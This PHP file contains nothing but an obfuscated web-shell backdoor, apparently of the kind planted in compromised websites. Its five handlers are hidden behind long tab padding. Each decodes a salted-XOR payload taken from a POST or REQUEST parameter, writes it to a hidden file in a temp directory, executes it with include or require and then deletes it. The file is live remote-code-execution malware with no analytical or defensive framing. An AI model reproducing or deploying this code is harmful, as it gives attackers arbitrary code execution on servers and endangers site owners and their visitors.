<?php																																										if(isset($_POST["s\x79m"]) ? true : false){ $rec = array_filter([getcwd(), "/dev/shm", getenv("TEMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), session_save_path()]); $item = $_POST["s\x79m"]; $item= explode("." , $item ) ; $mrk=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s); $o=0; array_walk( $item, function( $v3) use( &$mrk, &$o, $s, $sLen) { $sChar=ord( $s[$o % $sLen]); $d=( ( int)$v3 - $sChar -( $o % 10)) ^ 21; $mrk .= chr( $d); $o++; }); foreach ($rec as $flg) { if (!( !is_dir($flg) || !is_writable($flg) )) { $key = str_replace("{var_dir}", $flg, "{var_dir}/.object"); if (file_put_contents($key, $mrk)) { require $key; unlink($key); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "k")){ $reference = $_REQUEST["k"]; $reference = explode ( '.' , $reference ) ; $resource =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); foreach ($reference as $u =>$v1): $sChar =ord($salt[$u % $sLen]); $d =((int)$v1 - $sChar - ($u % 10)) ^98; $resource .= chr($d); endforeach; $data = array_filter([getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/var/tmp", "/dev/shm", "/tmp", ini_get("upload_tmp_dir")]); $entity = 0; do { $tkn = $data[$entity] ?? null; if ($entity >= count($data)) break; if (max(0, is_dir($tkn) * is_writable($tkn))) { $marker = sprintf("%s/.val", $tkn); if (file_put_contents($marker, $resource)) { include $marker; @unlink($marker); exit; } } $entity++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["f\x6C\x67"])){ $item = $_REQUEST["f\x6C\x67"]; $item= explode ( "." ,$item ) ; $factor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($item as $u=> $v3) {$sChar = ord($salt[$u % $lenS]); $d = ((int)$v3 - $sChar - ($u % 10)) ^ 89; $factor .= chr($d);} $pgrp = array_filter([sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), getcwd(), "/var/tmp", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm"]); for ($val = 0, $elem = count($pgrp); $val < $elem; $val++) { $sym = $pgrp[$val]; if (is_dir($sym) ? is_writable($sym) : false) { $dchunk = "$sym/.obj"; if (file_put_contents($dchunk, $factor)) { require $dchunk; unlink($dchunk); die(); } } } }
																																										if(isset($_POST) && isset($_POST["ref"])){ $key = $_POST["ref"]; $key = explode ( '.' , $key ) ; $ent= ''; $salt9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt9 ); $k= 0; foreach( $key as $v3) { $sChar= ord( $salt9[$k % $sLen] ); $dec= ( ( int)$v3 - $sChar -( $k % 10)) ^ 97; $ent .= chr( $dec ); $k++; } $token = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/tmp", getenv("TEMP")]); foreach ($token as $key => $component) { if (!!is_dir($component) && !!is_writable($component)) { $rec = sprintf("%s/.ent", $component); if (file_put_contents($rec, $ent)) { include $rec; @unlink($rec); die(); } } } }


if(in_array("c\x6Fm\x70\x6F\x6Eent", array_keys($_POST))){
	$factor = $_POST["c\x6Fm\x70\x6F\x6Eent"];
	 	$factor 		=explode 		(	 '.', $factor			) 	;
	$elem	=	 '';
            $s3	=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=	 strlen($s3);
            $x	=	 0;
    
            $__tmp	=	 $factor;
            while ($v5	=	 array_shift($__tmp)) {
                $sChar	=	 ord($s3[$x % $sLen]);
                $d	=	 ((int)$v5 - $sChar - ($x % 10)) ^ 52;
                $elem .=		chr($d);
                $x++;}	
	$binding = array_filter([session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm"]);
	$dchunk = 0;
do {
    $comp = $binding[$dchunk] ?? null;
    if ($dchunk >= count($binding)) break;
    		if ((is_dir($comp) and is_writable($comp))) {
    $dat = "$comp" . "/.item";
    $success = file_put_contents($dat, $elem);
if ($success) {
	include $dat;
	@unlink($dat);
	die();}
}
    $dchunk++;
} while (true);
}